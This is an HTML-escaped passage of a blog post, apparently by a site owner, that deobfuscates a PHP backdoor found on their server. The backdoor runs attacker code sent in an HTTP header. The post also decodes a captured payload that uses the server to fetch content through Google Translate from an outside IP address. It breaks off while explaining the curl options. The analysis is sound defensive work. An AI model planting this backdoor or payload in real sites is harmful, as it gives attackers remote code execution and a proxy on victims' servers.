&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x70&lt;/span&gt;&lt;span&gt;\x72&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x67&lt;/span&gt;&lt;span&gt;\x5f&lt;/span&gt;&lt;span&gt;\x72&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x70&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x63&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x7c&lt;/span&gt;&lt;span&gt;\x2e&lt;/span&gt;&lt;span&gt;\x7c&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;quot;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x76&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x27&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x76&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x6c&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x62&lt;/span&gt;&lt;span&gt;\x61&lt;/span&gt;&lt;span&gt;\x73&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x36&lt;/span&gt;&lt;span&gt;\x34&lt;/span&gt;&lt;span&gt;\x5f&lt;/span&gt;&lt;span&gt;\x64&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x63&lt;/span&gt;&lt;span&gt;\x6f&lt;/span&gt;&lt;span&gt;\x64&lt;/span&gt;&lt;span&gt;\x65&lt;/span&gt;&lt;span&gt;\x28&lt;/span&gt;&lt;span&gt;\x22&lt;/span&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;span&gt;\x22&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&lt;span&gt;\x3b&lt;/span&gt;&lt;span&gt;\x27&lt;/span&gt;&lt;span&gt;\x29&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;'.'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I have to give it to them, at least they obfuscated the code.  It took a while before I realized the extent of their hidden code.  Unobfuscating this file gives us:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;$_fcxxxcc&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;preg_replace&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;preg_replace&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;|.|e&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;quot;eval('eval(base64_decode(&amp;quot;&lt;/span&gt;aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7&lt;span&gt;&amp;quot;));')&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;'.'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Base 64 decoding this string gives us:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_QUOTE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt;'e66e6cadd6e13efea54ed50c0eb2d32b'&lt;/span&gt;  and &lt;span&gt;isset&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_X_CODE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;@&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;strrev&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;$_SERVER&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'HTTP_X_CODE'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, we&amp;#8217;re getting somewhere!&lt;/p&gt;
&lt;p&gt;Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system.  But, what kind of payload are they sending to their script?  Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for.  After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;php&quot;&gt;&lt;span&gt;header&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;X_GZIP: TRUE&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;header&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;X_MD5: 8b72825b0b211b07f8378013cbfb0d17&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;error_reporting&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;E_ALL&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;ini_set&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;display_errors&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;curl_init&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;13&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aToxNTs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:15;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;19913&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;42&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;53&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;52&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aTowOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:0;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;19914&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIxIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;64&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;81&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxOiIwIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:1:&amp;quot;1&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10023&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;/* a:9:{i:0;s:11:&amp;quot;Accept: */&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&amp;quot;;i:1;s:22:&amp;quot;&lt;/span&gt;Accept&lt;span&gt;-&lt;/span&gt;Language&lt;span&gt;:&lt;/span&gt; en&lt;span&gt;-&lt;/span&gt;us&lt;span&gt;&amp;quot;;i:2;s:22:&amp;quot;&lt;/span&gt;Connection&lt;span&gt;:&lt;/span&gt; keep&lt;span&gt;-&lt;/span&gt;alive&lt;span&gt;&amp;quot;;i:3;s:120:&amp;quot;&lt;/span&gt;User&lt;span&gt;-&lt;/span&gt;Agent&lt;span&gt;:&lt;/span&gt; Mozilla&lt;span&gt;/&lt;/span&gt;&lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;compatible&lt;span&gt;;&lt;/span&gt; MSIE &lt;span&gt;7.0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; Windows NT &lt;span&gt;5.1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; AT&lt;span&gt;&amp;amp;&lt;/span&gt;amp&lt;span&gt;;&lt;/span&gt;T CSM7&lt;span&gt;.&lt;/span&gt;0&lt;span&gt;;&lt;/span&gt; YPC 3&lt;span&gt;.&lt;/span&gt;2&lt;span&gt;.&lt;/span&gt;0&lt;span&gt;;&lt;/span&gt; &lt;span&gt;.&lt;/span&gt;NET CLR 1&lt;span&gt;.&lt;/span&gt;1&lt;span&gt;.&lt;/span&gt;4322&lt;span&gt;;&lt;/span&gt; yplus 5&lt;span&gt;.&lt;/span&gt;1&lt;span&gt;.&lt;/span&gt;04b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;quot;;i:4;s:8:&amp;quot;&lt;/span&gt;Expect&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:5;s:17:&amp;quot;&lt;/span&gt;Accept&lt;span&gt;-&lt;/span&gt;Encoding&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:6;s:15:&amp;quot;&lt;/span&gt;Keep&lt;span&gt;-&lt;/span&gt;Alive&lt;span&gt;:&lt;/span&gt; &lt;span&gt;115&lt;/span&gt;&lt;span&gt;&amp;quot;;i:7;s:8:&amp;quot;&lt;/span&gt;Cookie&lt;span&gt;:&lt;/span&gt; &lt;span&gt;&amp;quot;;i:8;s:149:&amp;quot;&lt;/span&gt;Referer&lt;span&gt;:&lt;/span&gt; http&lt;span&gt;:&lt;/span&gt;&lt;span&gt;//translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;} */&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10102&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czowOiIiOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:0:&amp;quot;&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;47&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aTowOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:0;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10002&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;// s:140:&amp;quot;http://translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;&lt;/span&gt;
&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;curl_exec&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;$md5_error&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;error&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;$md5_content&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;$md5_info&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;info&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;is_bool&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; and &lt;span&gt;$response&lt;/span&gt; &lt;span&gt;==&lt;/span&gt; &lt;span&gt;false&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#123;&lt;/span&gt;
    &lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_error&lt;/span&gt;&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;curl_errno&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;|&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;curl_error&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
    &lt;span&gt;exit&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;&amp;#125;&lt;/span&gt;
&lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_info&lt;/span&gt;&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;serialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;curl_getinfo&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;function_exists&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;gzdeflate&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; and &lt;span&gt;base64_encode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;gzdeflate&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;time&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt;&amp;quot;MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;
    &lt;span&gt;$response&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;GZIP|&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;base64_encode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;gzdeflate&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;&amp;#125;&lt;/span&gt;
&lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_content&lt;/span&gt;&amp;amp;gt;&lt;span&gt;$response&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The definition of the curl_setopt call is as follows:&lt;/p&gt;
&lt;p&gt;&lt;span&gt;bool curl_setopt ( resource $ch , int $option , mixed $value )&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s break down all of the Curl options we are setting here.  Even the &lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;curl_setopt&lt;/a&gt; calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:&lt;/p&gt;
&lt;ul&gt;
